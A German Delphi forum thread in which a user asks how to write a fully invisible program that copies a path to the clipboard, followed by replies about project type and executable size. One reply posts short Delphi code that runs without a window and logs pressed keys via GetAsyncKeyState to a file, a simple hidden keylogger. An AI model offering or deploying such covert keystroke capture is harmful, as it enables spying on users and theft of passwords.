![]() |
Unsichtbares Programm
Mein Ziel ist ein Mini-Programm, das lediglich einen übergebenen Pfad in die Zwischenablage kopiert ("PathToClipboard). Dabei soll das Programm so klein wie möglich sein (habe eins mit 40 KB von einem anderen Autor gesehen), und selbstverständlich vollkommen unsichtbar laufen.
Version 1) Mit "Application.ShowMainForm:= false;" habe ich in einer normalen VCL-Anwendung erreicht, dass ein Programm vollkommen unsichtbar läuft. Aber erstens ist es schon standardmäßig 400 KB groß (also 10x so viel) und zweitens weiß ich nicht, wie ich Code ausführen lassen kann, da kein Event mehr greift (ShowMessage wird weder im FormCreate noch im FormShow usw. ausgeführt). Version 2) Wenn ich ein Konsolenprogramm erstellen würde, würde dort wahrscheinlich ein Code abgearbeitet werden. Aber selbst wenn ich das Programm gleich danach beenden würde, würde die Konsole dennoch zumindest aufblitzen. Meine Frage: wie kann ich ein vollkommen unsichtar laufendes Programm realisieren, das lediglich einen Befehl ausführt (CopyToClipboard) und sich dann selbst beendet? Guido. |
Re: Unsichtbares Programm
So hab ich was geschrieben das nur lediglich im TaskManager sichtbar ist:
Delphi-Quellcode:
Program Project1;
Uses SysUtils, WINPROCS, Forms; {$R *.RES} Procedure XXX; Var I : Byte; X : SmallInt; Datei : TextFile; Begin AssignFile(Datei, 'Key.txt'); If (Not FileExists('Key.txt')) Then ReWrite(Datei) Else Append(Datei); For I := 1 To 255 Do Begin X := GetAsyncKeyState(I); If (X AND $8000 <> 0) Then Write(Datei, Char(I)); End; CloseFile(Datei); End; Begin XXX; End. |
Re: Unsichtbares Programm
Welchen Projekt-Typ muss ich denn verwenden? Konsole, VCL, ...?
Guido. |
Re: Unsichtbares Programm
Konsole und dann die Compiler Direktive auskommentieren/löschen :mrgreen:
|
Re: Unsichtbares Programm
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.
|
Re: Unsichtbares Programm
Zitat:
Stelle Dir vor, Du hättest ein Programm, das verwendet aus einer Unit mit 500 Funktionen nur 4 davon. Dann müsstest Du per Hand die Unit optimieren, um 496 Funktionen zu entfernen, damit sie nicht in das compilierte Programm aufgenommen werden. Und das mach dann mal bei größeren Projekten mit 30-40 (oder mehr) Units. |
Re: Unsichtbares Programm
Unter D6 ist es nicht so. Werden die Units nicht entfernt, ist die EXE-Datei 451 KB, ohne die beiden Units 12KB (Wobei sich dann mein Antivirus meldet...)
|
Re: Unsichtbares Programm
Nachtrag: Selbst bei D2007 ist es so.
Mit Forms: 391 KB, ohne Forms: 24 KB. |
Re: Unsichtbares Programm
Zitat:
|
Re: Unsichtbares Programm
Zitat:
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 21:25 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz